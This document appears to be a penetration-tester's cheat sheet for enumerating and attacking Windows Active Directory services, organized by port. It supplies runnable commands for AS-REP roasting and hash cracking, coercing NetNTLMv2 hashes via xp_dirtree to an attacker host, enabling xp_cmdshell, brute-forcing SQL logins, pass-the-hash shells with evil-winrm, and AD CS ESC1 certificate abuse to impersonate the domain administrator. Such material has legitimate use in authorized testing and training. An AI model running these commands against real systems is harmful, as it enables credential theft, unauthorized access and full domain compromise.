๐Master Port Enumeration Cheat Sheet¶
Port 53 ([[DNS]])¶
๐น Zone Transfer Attempt¶
dig axfr @<TARGET-IP> <domain>
axfr requests zone transfer; @ sets the DNS server.
Look for: - Full DNS zone dump (hostnames, internal IPs, server names) - Naming conventions that leak environment details - Potential sensitive hosts (like "backup", "admin", "dev")
๐น Basic DNS Queries¶
dig @<TARGET-IP> any <domain>
any asks for all record types; @ sets DNS server.
Look for:
- A records, MX records, SRV records
- VPN or remote-access services
- External-facing web apps or portals
๐ก Zone transfer = jackpot. Partial info from ANY query still helps.
Port 88 (Kerberos)¶
๐น Kerberos Pre-Auth Scan¶
nmap --script krb5-enum-users -p88 <TARGET-IP> --script-args krb5-enum-users.realm='<REALM>'
-p88 target Kerberos; script enums users against realm.
Look for:
- Usernames (especially service accounts)
- Accounts WITHOUT "requires pre-auth" (AS-REP roasting potential)
๐น AS-REP Roasting¶
After usernames found: - Try requesting TGTs without pre-auth:
GetNPUsers.py <REALM>/ -no-pass -usersfile users.txt -dc-ip <TARGET-IP> -format hashcat -outputfile asrep_hashes.txt
-no-pass anon; -usersfile list; -dc-ip DC; -format hashcat for cracking; -outputfile save.
Look for: $krb5asrep$23$... hashes; crack with hashcat -m 18200 asrep_hashes.txt rockyou.txt.
๐ก Some AD misconfigs allow user enumeration even anonymously.
Port 135 (MSRPC)¶
๐น RPC Enumeration¶
rpcdump.py <TARGET-IP>
efsrpc pipe = possible PetitPotam attack
- spoolss pipe = possible PrinterBug attack
- samr = enumerate users, groups, domain info
- Other exposed RPC pipes
๐ก RPC is often ignored and it's a goldmine if misconfigured.
Ports 139 / 445 (NetBIOS / SMB)¶
๐น Anonymous share listing¶
smbclient -L //<TARGET-IP> -N
-L list shares; -N no auth.
Look for:
- Shares allowing guest/everyone access
- Shares like BACKUP, ADMIN$, `C$
- Sensitive filenames (passwords, backups)
๐น Enum4Linux-ng¶
enum4linux-ng <TARGET-IP>
- User and share lists
- Password policies
- Computer accounts
๐น Nmap SMB vuln check¶
nmap -p139,445 --script smb-enum-shares,smb-enum-users,smb-os-discovery,smb-vuln* <TARGET-IP>
-p ports; scripts for shares/users/OS/vulns.
Look for:
- Old vulnerabilities (MS08-067, EternalBlue, SMBGhost) - SMB signing status (off = NTLM relay possible)
๐ก If SMB signing is disabled, NTLM relay is a real play.
๐น Rapid checks (NetExec)¶
nxc smb <TARGET-IP> -u '' -p '' --shares
nxc smb <TARGET-IP> -u <user> -p <pass> --shares
nxc smb <TARGET-IP> -u <user> -H <NTLMHASH> --shares # PTH
--shares enumerate; -H hash PTH.
๐น Browse/download¶
smbclient -N //<TARGET-IP>/<share> -c 'ls'
smbclient -N //<TARGET-IP>/<share> # interactive, use mget/get
-c 'ls' one-shot listing; otherwise interactive.
Ports 389 / 636 / 3268 / 3269 (LDAP / LDAPS / Global Catalog)¶
๐น LDAP Search¶
ldapsearch -x -H ldap://<TARGET-IP> -b "dc=example,dc=com"
-x simple bind; -H URI; -b base DN.
Look for:
- Users and their attributes (servicePrincipalName, pwdLastSet, description) - Groups like Domain Admins
- Computer objects - GPP password remnants
๐ก If LDAP anonymous bind works, youโre inside the house.
๐น Quick LDAP auth check (NetExec)¶
nxc ldap <TARGET-IP> -u '' -p '' --kerberos
--kerberos request Kerberos auth; empty creds test anon.
Look for: anon/guest allowed, realm info leak.
Port 464 (Kerberos Password Service)¶
๐น Skip unless: - You found usernames and want to try password change abuse. > ๐ก Not usually directly exploitable without credentials.
Port 593 (RPC over HTTP)¶
๐น Enumerate¶
nmap -p593 --script=rpcinfo <TARGET-IP>
rpcinfo lists available RPC services over HTTP.
-p593 targets RPC over HTTP; script enumerates registered endpoints.
Look for:
- Active HTTP RPC bindings - Services like DCOM or Print Spooler
๐ก Rarely directly vulnerable, but may expose RPC pipes.
Port 1433 (Microsoft SQL Server)¶
๐น Service Info Check¶
nmap -sV -p1433 --script ms-sql-info <TARGET-IP>
-sV version; script extracts SQL details.
๐น Login (SQL auth / domain)¶
mssqlclient.py <domain>/<user>:<pass>@<TARGET-IP>
# If SQL auth only, drop domain: mssqlclient.py <user>:<pass>@<TARGET-IP>
<domain>/<user> for AD; omit for SQL auth.
๐น Coerce NetNTLMv2 (Responder)¶
EXEC xp_dirtree '\\\\<ATTACKER_IP>\\share';
# Run while: responder -I <tun0>
๐น Mine SQL error logs for creds¶
EXEC xp_readerrorlog 0, 1, N'Login failed';
EXEC xp_readerrorlog 0, 1, N'password';
xp_readerrorlog searches SQL logs for strings.
Look for: mistyped usernames/passwords recorded in error logs.
๐น Enable/Use xp_cmdshell (if perms)¶
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
xp_cmdshell 'whoami';
๐น Quick bruteforce¶
hydra -L /usr/share/seclists/Usernames/sql-server-usernames.txt \
-P /usr/share/seclists/Passwords/Common-Credentials/best110.txt \
-t 4 -f mssql://<TARGET-IP>
-L/-P user/pass lists; -t threads; -f stop on first hit.
Port 3389 (RDP)¶
๐น RDP Security Settings¶
nmap -p3389 --script rdp-enum-encryption <TARGET-IP>
-p3389 target RDP; script checks encryption/NLA.
Look for:
- Encryption level - NLA enabled or not
- Weak ciphers
๐น Screenshot (optional)¶
nmap -p3389 --script rdp-screenshot <TARGET-IP>
Port 5985 (WinRM)¶
๐น Credential / hash check¶
nxc winrm <TARGET-IP> -u <user> -p <pass>
nxc winrm <TARGET-IP> -u <user> -H <NTLMHASH> # PTH
winrm module tests creds; -H hash PTH.
๐น Shell¶
evil-winrm -i <TARGET-IP> -u <user> -p '<pass>'
evil-winrm -i <TARGET-IP> -u <user> -H <NTLMHASH>
KRB5CCNAME=<ticket.ccache> evil-winrm -i <TARGET-IP> -r <realm> -u <user> -k
-H NTLM hash; -k use Kerberos ticket in KRB5CCNAME.
๐ก Use Kerberos tickets (ccache) post-certipy for DA shells.
AD CS (Certificate Services) โ ESC1 (cross-service, LDAP/RPC)¶
๐น Enumerate¶
certipy find -dc-ip <IP> -u <user> -p <pass> -enabled -vulnerable
find lists templates/CAs; -vulnerable highlights ESC paths.
Look for: EnrolleeSuppliesSubject + ClientAuth + Domain Users enroll.
๐น Request cert as admin¶
certipy req -dc-ip <IP> -u <user> -p '<pass>' -ca <CA> -template <Template> \
-upn administrator@<domain> -dns <dc> -outfile administrator
-template vulnerable template; -upn spoofed identity; -outfile base name for PFX.
๐น Get TGT/hash from PFX¶
certipy auth -pfx administrator.pfx -dc-ip <IP>
# yields administrator.ccache and NT hash
auth converts PFX to Kerberos TGT and NT hash.
๐น Use ticket¶
KRB5CCNAME=administrator.ccache impacket-wmiexec -k -no-pass administrator@<dc>
KRB5CCNAME=administrator.ccache evil-winrm -i <IP> -r <realm> -u administrator -k
KRB5CCNAME points tools to use the Kerberos ticket.
Look for:
- Login screen info
- Visible domain
๐ก No NLA or weak encryption? Brute forcing may work.
Port 5120 (Barracuda BBS)¶
๐น Banner grabbing¶
nc -nv <TARGET-IP> 5120
-n numeric only; -v verbose to read banner.
Look for:
- Product/version info
- Default credential hints - Vulnerable software versions
๐ก Often misconfigured or unpatched.
Ports 5985 / 47001 (WinRM / HTTPAPI)¶
๐น Confirm Service¶
curl -i http://<TARGET-IP>:5985/wsman
curl -i http://<TARGET-IP>:47001/wsman
-i show headers; basic reachability check for WinRM endpoints.
Look for:
- Auth methods (Basic, NTLM, Kerberos) - Domain or hostnames
๐น Header probing¶
nmap -p5985,47001 --script http-headers,http-title <TARGET-IP>
-p WinRM/HTTPAPI ports; scripts pull headers/page titles.
Look for:
- Server type and software - Verbose or leaking headers
๐ก WinRM open + creds = Remote PowerShell access.
Port 7680 (Pando / Windows Update Delivery Optimization)¶
๐น Banner Grabbing¶
nc -nv <TARGET-IP> 7680
-n numeric; -v verbose to grab banner.
Look for:
- Windows Delivery Optimization - Unexpected headers
๐ก Low value unless relayable or leaking.
Port 9389 (Active Directory Web Services)¶
๐น Enumerate if possible¶
nmap -p9389 --script adsi-search --script-args 'adsi-search.base=""' <TARGET-IP>
-p9389 ADWS; script queries ADSI; empty base = rootDSE.
Look for:
- Confirm ADWS is running - Try authenticated queries later if usernames found
๐ก Usually needs creds to enumerate much.
Octopus Tentacle (Port 10934)¶
Banner Grab¶
nc -nv <TARGET-IP> 10934
-n numeric; -v verbose to read banner.
Service Version Detection¶
nmap -sV -p10934 <TARGET-IP>
-sV version detection; -p target Tentacle port.
SSL Certificate Check¶
openssl s_client -connect <TARGET-IP>:10934
s_client prints TLS handshake and certificate.